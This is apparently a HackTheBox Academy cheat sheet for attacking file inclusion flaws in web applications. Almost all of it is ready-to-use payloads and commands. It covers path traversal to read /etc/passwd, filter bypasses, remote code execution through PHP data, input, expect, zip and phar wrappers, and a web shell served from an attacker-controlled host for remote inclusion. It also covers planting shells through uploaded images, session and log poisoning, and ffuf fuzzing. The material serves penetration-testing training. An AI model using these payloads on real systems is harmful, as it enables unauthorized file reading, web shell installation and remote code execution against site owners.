HACKTHEBOX

FILE INCLUSION

CHEAT SHEET

Local File Inclusion

Basic LFI

Basic LFI:
```
/index.php?language=/etc/passwd
```

LFI with path traversal:
```
/index.php?language=../../../../etc/passwd
```

LFI with name prefix:
```
/index.php?language=/../../../etc/passwd
```

LFI with approved path:
```
/index.php?language=./languages/../../../../
etc/passwd
```

LFI Bypasses

Bypass basic path traversal filter:
```
/index.php?language=....//....//....//....//
etc/passwd
```

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Bypass filters with URL encoding:
```
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e
%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

Bypass appended extension with path truncation (obsolete):
```
/index.php?language=non_existing_directory/.
./../../etc/passwd/./././.[./ REPEATED ~2048
times]
```

Bypass appended extension with null byte (obsolete):
```
/index.php?language=../../../../etc/passwd%00
```

Read PHP with base64 filter:
```
/index.php?language=php://filter/read=convert
.base64-encode/resource=config
```

Remote Code Execution

PHP Wrappers

RCE with data wrapper:
```
/index.php?language=data://text/plain;base64
,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

RCE with input wrapper:

```
curl -s -X POST --data '<?php system($_GET
["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/
index.php?language=php://input&cmd=id"
```

RCE with expect wrapper:

```
curl -s "http://<SERVER_IP>:<PORT>/
index.php?language=expect://id"
```

RFI

Host web shell:

```
echo '<?php system($_GET["cmd"]); ?>' >
shell.php && python3 -m http.server
<LISTENING_PORT>
```

Include remote PHP web shell:

```
/index.php?language=http://<OUR_IP>:<LISTENI
NG_PORT>/shell.php&cmd=id
```

LFI + Upload

Create malicious image:

```
echo 'GIF8<?php system($_GET["cmd"]); ?>' >
shell.gif
```


HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

RCE with malicious uploaded image:

```
/index.php?language=./profile_images/shell.gif&cmd=i
```

Create malicious zip archive 'as jpg':

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

RCE with malicious uploaded zip:

```
/index.php?language=zip://shell.zip%23shell.php&cmd=id
```

Create malicious phar 'as jpg':

```
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

RCE with malicious uploaded phar:

```
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

Log Poisoning

Read PHP session parameters:

```
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Poison PHP session with web shell:
```
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

RCE through poisoned PHP session:
```
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

Poison server log:
```
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'
```

RCE through poisoned PHP session:
```
/index.php?language=/var/log/apache2/access.log&cmd=id
```

Misc

Fuzz page parameters:
```
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Fuzz LFI payloads:

```
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/
LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:
<PORT>/index.php?language=FUZZ' -fs 2287
```

Fuzz webroot path:

```
ffuf -w /opt/useful/SecLists/Discovery/
Web-Content/default-web-root-directory-linux
.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/
index.php?language=../../../../FUZZ/index.ph
p' -fs 2287
```

Fuzz server configurations:

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u
'http://<SERVER_IP>:<PORT>/index.php?languag
e=../../../../FUZZ' -fs 2287
```

LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Misc

PHP

`include()/include_once()`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

`require()/require_once()`
Read Content [Yes] - Execute [Yes] - Remote URL [No]

`file_get_contents()`
Read Content [Yes] - Execute [No] - Remote URL [Yes]

`fopen()/file()`
Read Content [Yes] - Execute [No] - Remote URL [No]

NodeJS

`fs.readFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`fs.sendFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

`res.render()`
Read Content [Yes] - Execute [Yes] - Remote URL [No]

Java

`include`
Read Content [Yes] - Execute [No] - Remote URL [No]

`import`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

.NET

`@Html.Partial()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`@Html.RemotePartial()`
Read Content [Yes] - Execute [No] - Remote URL [Yes]

`Response.WriteFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`include`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

HTB ACADEMY CHEATSHEET